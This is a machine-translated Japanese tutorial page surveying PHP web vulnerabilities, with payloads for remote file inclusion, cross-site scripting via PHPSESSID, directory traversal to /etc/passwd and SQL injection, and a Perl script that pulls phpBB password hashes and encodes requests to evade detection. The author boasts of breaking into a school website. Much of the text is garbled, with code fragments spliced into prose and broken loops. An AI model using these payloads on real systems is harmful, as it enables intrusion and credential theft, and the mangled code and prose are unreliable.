PHP Web サイトの脆弱性の概要_PHP チュートリアル
現在のネットワークセキュリティの観点から見ると、誰もが最も懸念し、最も危険にさらされているのは ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は PHP に関して何も言うことはできません。 , これも非常に深刻な問題ですが、この分野の記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。現在一般的な PHP の脆弱性を大きく分けてまとめました。以下のカテゴリ: ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性などが含まれます。もちろん、COOKIE スプーフィングなどのいくつかの一般的なテクノロジについては、ここでは説明しません。それでは、これらの脆弱性を悪用する方法を一つ一つ見ていきましょう! まず、この脆弱性は、PHP の処理が不十分であることが原因であると言えます。外部から提供された悪意のあるデータにより、リモートの攻撃者がこれらの脆弱性を悪用できるようになります。 WEB プロセス権限を使用してシステム上で任意のコマンドを実行します。 例を見てみましょう。 a.php に次のようなコードがあるとします。 # FROM " . POSTS_TABLE . " s, " . u IO::Socket を使用; $view_topic = シフト || /phpBB2/viewtopic.php; 笑わないでください、これは本当です。私はこれをいくつかの大きな Web サイトにアクセスするためにも使用しました。どの Web サイトにアクセスするかについては、言うのは難しいですが、私はこれを私たちの学校の Web サイトのバックエンドにアクセスするために使用しました。学校ネットワーク センターはこの記事を参照できません。^_^ ) 前の機能を使用してください。そうでない場合は、他の人のパスワードを変更する必要があります。!!!
include($ include."/xxx.php");
?> ;
このコードでは、$include は通常設定されているパスですが、自分でパスを構築することで攻撃の目的を達成できます。 submit: a.php?include=http://web/ b.php、この Web は攻撃に使用するスペースです。もちろん、b.php は攻撃に使用するコードです。 passthru("/bin/ls /etc "); コードのように、いくつかの目的のある攻撃を実行できます (注: Web サーバーは PHP コードを実行できません。そうしないと問題が発生します。 「PHP プログラムで PHP コードを攻撃する方法」一般的な脆弱性を攻撃する>を参照してください。この脆弱性に関しては、PayPal Store Front、
HotNews、Mambo Open Source、PhpDig、YABB など、さまざまな状況があります。 SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、対象ユーザーの機密情報が取得される可能性があります。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。このようなコードを通じて攻撃の目的を達成できます:
http://web/index .php?PHPSESSID。 ="><script>...</script>スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少数です。PHP Transparent に加えて、次のようなものがあります。 Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board など
次に、ファイル漏洩の脆弱性を見てみましょう。この脆弱性は、ユーザーが送信したパラメータのフィルタリングが不十分であることが原因であり、リモート攻撃者がこれを使用する可能性があります。ディレクトリ トラバーサル攻撃を実行し、機密情報を入手します。例として、最近発見された phpMyAdmin を取り上げます。phpMyAdmin では、ユーザーが送信したパラメータが完全にフィルタリングされておらず、リモート攻撃者は複数のパラメータを送信します。 / 文字データを使用すると、WEB ROOT 制限をバイパスして、WEB 権限を使用してシステム上のファイル情報を表示できます。たとえば、export.php?what=../../../../ というアドレスを入力します。 ../.. /etc/passwd%00 は、ファイル漏洩の目的を達成することができます。myPHPNuke、McNews など、この分野には比較的多くのファイルが存在します。
最後に、最もエキサイティングな場所に戻る必要があります。 ASP ページで SQL インジェクションを使用することがどれほど楽しいかについて、Xiaozhu が「SQL インジェクションの秘密の本」を見つけて (笑)、NB Alliance が実際に開発するまでは、SQL インジェクションを手動で挿入する必要がありました。 Tian Tian は、CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに貢献しました (これ以上はナンセンスです。実際、これは事実です)。 , SQL インジェクションと ASP での SQL インジェクション PHP での SQL インジェクションはほぼ同じですが、使用されるいくつかの関数に少し注意してください。実際、ご覧のとおり、他の関数は基本的に変更されていません。 PHP における SQL インジェクションは、誰もが PHP-NUKE や PHPBB を思い浮かべませんか? はい、よく言われるように、Dongwang のようなフォーラムは ASP の世界における脆弱性の王様であるはずです。フォーラムのセキュリティが低すぎるということは、その評判が高すぎると、他の人がそれを使用するほど、より多くのセキュリティ脆弱性が発見されることを意味します。フォーラムで PHP を使用する多くの人は、通常、PHPBB を選択します。phpBB.com phpBB 1.4.0 バージョンで発見された最初の脆弱性から、phpBB 2.0.6 バージョンの最新の groupcp.php まで、その脆弱性も絶えず出現しています。以前に発見された search.php、profile.php、viewtopic .php などと同様に、おそらく合計で 12 個ほどあるため、PHP の脆弱性を研究する際にテスト製品として使用する人もいます。繰り返し練習することで完璧になれると言われています。PHPBB は今後ますます普及すると思います。では、viewtopic.php ページを例として分析してみましょう。 viewtopic.php では、「topic_id」が GET リクエストから直接取得され、フィルタ処理を行わずに SQL クエリ コマンドに渡され、攻撃者はこのパスワード情報を取得するために特別な SQL 文字列を送信することができます。自動ログインまたはブルートフォースクラッキング。(特に重要な理由がない限り、ブルートフォースを実行したい人はいないと思います) まず、関連するソースコードを見てください:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval ($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($HTTP_GET_VARS[topic]);
# }
上記のことから、送信された view=newest および sid が値に設定されている場合、実行されるクエリ コードは次のようになっていることがわかります (PHPBB ソース コードをまだ見ていない場合は、それを読んで、次に、ここを見て影響を受けるかどうかを確認してください) システムは: phpBB 2.0.5 および phpBB 2.0.4)。
# where s.session_id = $session_id = s .session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# p.post_time ASC で注文
# LIMIT 1";
Rick は次のテスト コードを提供しました:
$uid = シフト 2;
$dbtype = mysql4 ; # mysql4 または pgsql
print "uid $uid サーバー $remote dbtype: $dbtype のパスワード ハッシュを取得しようとしています
";
$p = "";
for($index=1; $index$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port、
Proto => "tcp"、
Type => SOCK_STREAM)
"$remote:$port に接続できませんでした:$@
";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0
";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1
"; # これを pgsql に置き換えるか、削除します
print $socket "Host: $remote
";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=
$p .= chr ();
}
}
close($socket);
}
print "
uid $uid の MD5 ハッシュは $p です
";
# ランダム エンコード str. は検出を回避するのに役立ちます
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ) {
$ret .= " %" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq mysql4) {
return " Union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq pgsql) {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid または false";
} else {
return "";
}
}
この壊れたコードについてはあまり説明しません。この関数は HASH 値を取得するためのものです。
これを見ると、なぜ先ほど述べた変更された関数が使用されないのか疑問に思うかもしれません。私がこう言うと人々は笑います: 実際、インターネット上の多くの Web サイトの一部のページのクエリ ステートメントは次のようになります:
SQL インジェクションに関しては、PHP が ASP とは異なることを忘れていました。 MySQL の SQL ステートメントの使用は mssql ほど柔軟ではないため、mssql で使用できる多くのクエリ ステートメントは、一般的に次のようなものになります: aaa.php?id=a。 into outfile pass.txt または aaa.php?id= a into outfile pass.txt /*さらに次のように変更できます: aaa.php?id=a または 1=1 Union select id,name,password form users into outfile c :/a.txt
このようにして、データベース データをファイルとしてエクスポートし、それを表示することができます。
または次のようにします: mode=, user_level=4
このステートメントは通常、データを変更するときに使用されます。ページに脆弱性がある場合、権限を昇格する効果が得られる可能性があります。
OR 1= 1 -- or: 1 or 1=1 などは、PHP の SQL インジェクションと同様です。この問題が発生するページが多すぎることがわかります。実際、上記の分類の理由は 1 つだけです。送信されたパラメータがフィルタリングされていないか、フィルタリングが十分に厳密ではありません。 . ハッカーの防御線は常に攻撃的かつ防御的です。 ここで、その防止方法について簡単に説明します。
まず、個人的に最も重要なポイントは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、および null 文字を、select * from admin where username=$ などのバックスラッシュを含む文字に変換することです。ユーザー名とパスワード=$パスワード ステートメントでは、攻撃者は検証をスキップするために 1 または 1=1 を使用したいと考えていますが、これらの文字列は次のように変換されます: select * from admin where username=a and passwd=1 or 1= 1インジェクションを防ぐという目的を達成するには、addslashes() 操作が自動的に実行されますが、それが機能しない場合は、自分でそれを処理する関数を定義する必要があるようです。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。
